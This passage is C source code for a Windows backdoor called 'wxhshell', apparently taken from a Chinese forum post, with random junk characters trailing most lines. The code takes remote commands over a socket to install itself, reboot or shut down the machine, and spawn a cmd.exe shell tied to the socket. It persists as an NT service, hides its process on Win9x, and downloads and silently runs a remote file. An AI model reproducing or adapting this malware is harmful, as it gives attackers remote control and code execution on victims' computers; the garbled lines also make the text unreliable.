      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (fq>P1-  
    break; ~$+9L2gz  
  } K2!KMhvQ  
  // 安装 z[vMO%  
  case 'i': { (CEJg|,  
    if(Install()) I'C{=?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ybfNG@N*  
    else &B[$l`1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?QZ\KY  
    break; BK,= (;d3  
    } T*z >A  
  // 卸载 O||M |  
  case 'r': { I#m5Tl|#  
    if(Uninstall()) .HMO7n6)8l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H!,#Z7s  
    else m"`&FA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .aF+>#V=Q  
    break; e1K,4 Bq  
    } 8J Gt|,  
  // 显示 wxhshell 所在路径 )Nk^;[  
  case 'p': { MOdodyG  
    char svExeFile[MAX_PATH]; 3:!+B=woR  
    strcpy(svExeFile,"\n\r"); \6*3&p  
      strcat(svExeFile,ExeFile); S=2-<R  
        send(wsh,svExeFile,strlen(svExeFile),0); fk9FR^u  
    break; 9"oc.ue.2D  
    } Wl}d6ZTm  
  // 重启 ~c+0SuJ  
  case 'b': { J v'$6[?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z6$W@-Vd  
    if(Boot(REBOOT)) [|e7oNT(Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -k= 02?0p+  
    else { we!}"'E;  
    closesocket(wsh); R9~%ORI#;  
    ExitThread(0); ?HttqK)  
    } JZ'`.yK:  
    break; MJb!+E+  
    } Uk5jZ|  
  // 关机 In5' (UHW:  
  case 'd': { eXUXoK=T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); : >4{m)  
    if(Boot(SHUTDOWN)) byoDGUv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [P407Sa"  
    else { 6I"Q9(  
    closesocket(wsh); xn}sh[<:P  
    ExitThread(0); Av]<[ F/  
    } 0 @~[SXR  
    break; * 3WK`9q  
    } YeK PoW  
  // 获取shell nxw]B"Eg  
  case 's': { Z25^+)uf*U  
    CmdShell(wsh); pS;jrq I#  
    closesocket(wsh); j-ZKEA{:1  
    ExitThread(0); ul1#_xp  
    break; ng^`s}?o  
  } Z[s{   
  // 退出 G ,An8GR%&  
  case 'x': {  k/ls!e?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W/OZ}ky}^  
    CloseIt(wsh); ](vOH#E  
    break; 1 ^TOTY  
    } .|;`qU o  
  // 离开 x~rIr#o  
  case 'q': { aPWlV= oG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _py%L+&{  
    closesocket(wsh); lZ'-?xo  
    WSACleanup(); +eg$Z]Lht  
    exit(1); 8lh{ R  
    break; -=I*{dzly  
        } B>Mr /'  
  } x!"S`AM  
  } qQv?J]l  
:D`ghXj  
  // 提示信息 1$]4g/":o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ol"*(ea-TX  
} 615, P/  
  } "X=l7{c/  
=0cyGo  
  return; K\v1o  
} -L}crQl.'c  
89?$xm_m  
// shell模块句柄 *+{umfZy  
int CmdShell(SOCKET sock) aOFF"(]Cl  
{ LxC*{t/>8  
STARTUPINFO si; E`}KVi57  
ZeroMemory(&si,sizeof(si)); # XE`8$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E=+v1\t)]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a=>PGriL  
PROCESS_INFORMATION ProcessInfo; Ew~piuj  
char cmdline[]="cmd"; ,Y6Me+5B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v,#*%Gn`%  
  return 0; fH-V!QYGF  
} TL lR"L5  
#8H  
// 自身启动模式 Ze[ezu  
int StartFromService(void) (sSMH6iCif  
{ why;1z>V  
typedef struct :80!-F*\  
{ GdVq+,Ge  
  DWORD ExitStatus; ]-FK6jw  
  DWORD PebBaseAddress; R s_bM@  
  DWORD AffinityMask; `VM@-;@w  
  DWORD BasePriority; 481J=8H  
  ULONG UniqueProcessId; q{?Po;\D  
  ULONG InheritedFromUniqueProcessId; 4RTuy+ M  
}   PROCESS_BASIC_INFORMATION; F?TxViL  
$$_aHkI j  
PROCNTQSIP NtQueryInformationProcess;  K6d9[;F  
(P&~PJH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -*t4(wT|j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 794V(;sW,  
g&I/b/A  
  HANDLE             hProcess; ^W+q!pYM9+  
  PROCESS_BASIC_INFORMATION pbi; t=J WD2  
8T6.Zhv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bR"hl? &c  
  if(NULL == hInst ) return 0; p}_n :a  
~Q}JC3f>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rw/WD(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x2/L`q"M?=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?4vf 2n@  
d#6'dKV$  
  if (!NtQueryInformationProcess) return 0; UT!gAU  
8:E)GhX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .cJWYMC  
  if(!hProcess) return 0; g(){wCI  
|d =1|C%,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o\6A]T=R  
f.SV-{O_  
  CloseHandle(hProcess); x@/ N9*  
h.+{cOA;n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); No#1Ikw  
if(hProcess==NULL) return 0; ,5J-C!C  
rjqQWfShY  
HMODULE hMod; X+2aP'D  
char procName[255]; B@XnHh5y  
unsigned long cbNeeded; ocOzQ13@Y  
}+";W)R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /cM<  
j}}:&>;  
  CloseHandle(hProcess); |eH >55 b  
e%. Xya#\  
if(strstr(procName,"services")) return 1; // 以服务启动 Hg$t,\j  
~u| k1  
  return 0; // 注册表启动 C":i56  
} wi]ya\(*yl  
t:y} 7un  
// 主模块 7 $AEh+f  
int StartWxhshell(LPSTR lpCmdLine) ernZfd{H  
{ ')ZxWYT O^  
  SOCKET wsl; v|r\kr k  
BOOL val=TRUE; rS1mBrqD  
  int port=0; T*YbmI]4  
  struct sockaddr_in door; c 4Q{  
<5rs~  
  if(wscfg.ws_autoins) Install(); #m yiZL %  
&s m7R i  
port=atoi(lpCmdLine); HRP4"#9R  
]r++YIg!j  
if(port<=0) port=wscfg.ws_port; /Xa_Xg7  
R&Mv|R   
  WSADATA data; e_mUO"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7u8HcHl  
fNjxdG{a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =fk+"!-i%"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %@JNX}Y'  
  door.sin_family = AF_INET; +|6 '7Z(9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F-K=Ot j  
  door.sin_port = htons(port); F~j U;L  
/O@'XWW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !J<}=G5  
closesocket(wsl); ACQbw)tiv}  
return 1; OT-!n  
} m=;0NLs4  
Mle@.IIT  
  if(listen(wsl,2) == INVALID_SOCKET) { oJ|8~:)  
closesocket(wsl); (Ic{C5'  
return 1; %tx~CD  
} ?M2#fD]e  
  Wxhshell(wsl); !&4<"wQ  
  WSACleanup(); "XQj ~L  
}<?1\k  
return 0; 9nW/pv  
1e=<df  
} xDtq@Rb}  
=apcMW(zn  
// 以NT服务方式启动 #H]b Xr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bpq2TgFj  
{ o#(z*v@  
DWORD   status = 0; ki/xo^Y2<  
  DWORD   specificError = 0xfffffff; ERSo&8  
s-^B)0T!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0Vu&UD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /JaCbT?*T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fwvPh&U&  
  serviceStatus.dwWin32ExitCode     = 0; 'C=8.P?  
  serviceStatus.dwServiceSpecificExitCode = 0; k&Z3v.  
  serviceStatus.dwCheckPoint       = 0; L0ZgxG3:g  
  serviceStatus.dwWaitHint       = 0; l+# l\q%l  
2Eq?^ )s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ];@"-H  
  if (hServiceStatusHandle==0) return; |a!AgvNF  
P_:A%T  
status = GetLastError(); l!Bc0  
  if (status!=NO_ERROR) :=J~t@  
{ w[g(8 #*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yO@KjCv"  
    serviceStatus.dwCheckPoint       = 0; N^,@s"g  
    serviceStatus.dwWaitHint       = 0; kz4d"bTb  
    serviceStatus.dwWin32ExitCode     = status; Be?b| G!M  
    serviceStatus.dwServiceSpecificExitCode = specificError; jpND"`Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J LOTl.  
    return; V=#L@ws  
  } Sw##C l#  
f"^G\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "6.JpUf  
  serviceStatus.dwCheckPoint       = 0; P bR6>'  
  serviceStatus.dwWaitHint       = 0; _Ju@<V$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2^-Z17Z}  
} @S#>:o|  
}jj@A !N  
// 处理NT服务事件,比如:启动、停止 S@Rw+#QE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f-at@C1L%L  
{ %onUCN<O`  
switch(fdwControl) g? 7%  
{ 7MX nt5qUh  
case SERVICE_CONTROL_STOP: AiUICf?{  
  serviceStatus.dwWin32ExitCode = 0; ( e> .hfrs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WJH)>4M#  
  serviceStatus.dwCheckPoint   = 0; U}9B wr^  
  serviceStatus.dwWaitHint     = 0; x,kZ>^]&b  
  { t\[aU\4-7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uXxc2}  
  } ^G5BD_  
  return; }lN@J,q  
case SERVICE_CONTROL_PAUSE: 5k&tRg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +APf[ZpU  
  break; I]S8:w![  
case SERVICE_CONTROL_CONTINUE: %lL^[`AR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uFd.2,XNP  
  break; 5)=XzO0  
case SERVICE_CONTROL_INTERROGATE: Z4eu'.r-y~  
  break; [/.5{|&GSt  
}; iUcDj:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eBZ^YY<*g  
} hdFIriE3  
L2v j)(  
// 标准应用程序主函数 d,"?tip/SX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \Qp #utC0s  
{ x)'4u6;d  
etY/K0  
// 获取操作系统版本 {? -@`FR-  
OsIsNt=GetOsVer(); .SdHFWx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H^Th]-Zl  
2LpJxV  
  // 从命令行安装 m @K5eh  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7C7eX J9q  
{~=Edf  
  // 下载执行文件 )"j)9RQ}  
if(wscfg.ws_downexe) { fX)C8J^=G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [K2\e N~g  
  WinExec(wscfg.ws_filenam,SW_HIDE); k0;ND  
} } Qjp,(ye  
76i)m!  
if(!OsIsNt) { Nr.maucny  
// 如果时win9x,隐藏进程并且设置为注册表启动 b_Us%{  
HideProc(); CTu#KJ?j  
StartWxhshell(lpCmdLine); }F=+*-SYZ  
} a<CN2e_Z  
else &@E{0ZD  
  if(StartFromService()) 5<-_"/_  
  // 以服务方式启动 ]ZkhQ%  
  StartServiceCtrlDispatcher(DispatchTable); j~+<~2%c  
else 4z~ fn9g  
  // 普通方式启动 INQ0h`T  
  StartWxhshell(lpCmdLine); EYc, "'  
"tu BfA+f  
return 0; 11Kbj`sRZ  
}
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只看该作者 1 发表于: 2006-10-10
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